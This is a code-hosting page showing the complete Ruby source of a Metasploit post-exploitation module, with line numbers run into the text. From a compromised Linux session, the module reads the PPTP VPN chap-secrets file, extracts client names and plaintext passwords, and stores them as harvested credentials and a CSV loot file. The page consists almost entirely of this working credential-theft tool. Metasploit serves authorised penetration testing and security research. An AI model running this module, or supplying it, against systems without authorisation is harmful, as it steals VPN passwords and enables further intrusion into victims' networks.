Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/pptpd_chap_secrets.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',14'Description' => %q{15This module collects PPTP VPN information such as client, server, password,16and IP from your target server's chap-secrets file.17},18'License' => MSF_LICENSE,19'Author' => [ 'sinn3r'],20'Platform' => [ 'linux' ],21'SessionTypes' => [ 'shell', 'meterpreter' ]22)23)2425register_options(26[27OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])28]29)30end3132#33# Reads chap_secrets34#35def load_file(fname)36begin37data = read_file(fname)38rescue Rex::Post::Meterpreter::RequestError => e39print_error("Failed to retrieve file. #{e.message}")40data = ''41end42fail_with(Failure::BadConfig, "The file #{fname} does not exist or is not a readable file!") unless data43return data44end4546def report_cred(opts)47service_data = {48address: opts[:ip],49port: opts[:port],50service_name: opts[:service_name],51protocol: 'tcp',52workspace_id: myworkspace_id53}5455credential_data = {56module_fullname: fullname,57post_reference_name: refname,58session_id: session_db_id,59origin_type: :session,60private_data: opts[:password],61private_type: :password,62username: opts[:user]63}.merge(service_data)6465login_data = {66core: create_credential(credential_data),67status: Metasploit::Model::Login::Status::UNTRIED68}.merge(service_data)6970create_credential_login(login_data)71end7273#74# Extracts client, server, secret, and IP addresses75#76def extract_secrets(data)77tbl = Rex::Text::Table.new({78'Header' => 'PPTPd chap-secrets',79'Indent' => 1,80'Columns' => ['Client', 'Server', 'Secret', 'IP']81})8283data.each_line do |l|84# If this line is commented out, ignore it85next if l =~ /^[[:blank:]]*#/8687found = l.split8889# Nothing is found, skip!90next if found.empty?9192client = (found[0] || '').strip93server = (found[1] || '').strip94secret = (found[2] || '').strip95ip = (found[3, found.length] * ', ' || '').strip9697report_cred(98ip: session.session_host,99port: 1723, # PPTP port100service_name: 'pptp',101user: client,102password: secret103)104105tbl << [client, server, secret, ip]106end107108if tbl.rows.empty?109print_status("This file has no secrets: #{datastore['FILE']}")110else111print_line(tbl.to_s)112113p = store_loot(114'linux.chapsecrets.creds',115'text/csv',116session,117tbl.to_csv,118File.basename(datastore['FILE'] + '.txt')119)120print_good("Secrets stored in: #{p}")121end122end123124def run125fname = datastore['FILE']126f = load_file(fname)127extract_secrets(f)128end129130end131132133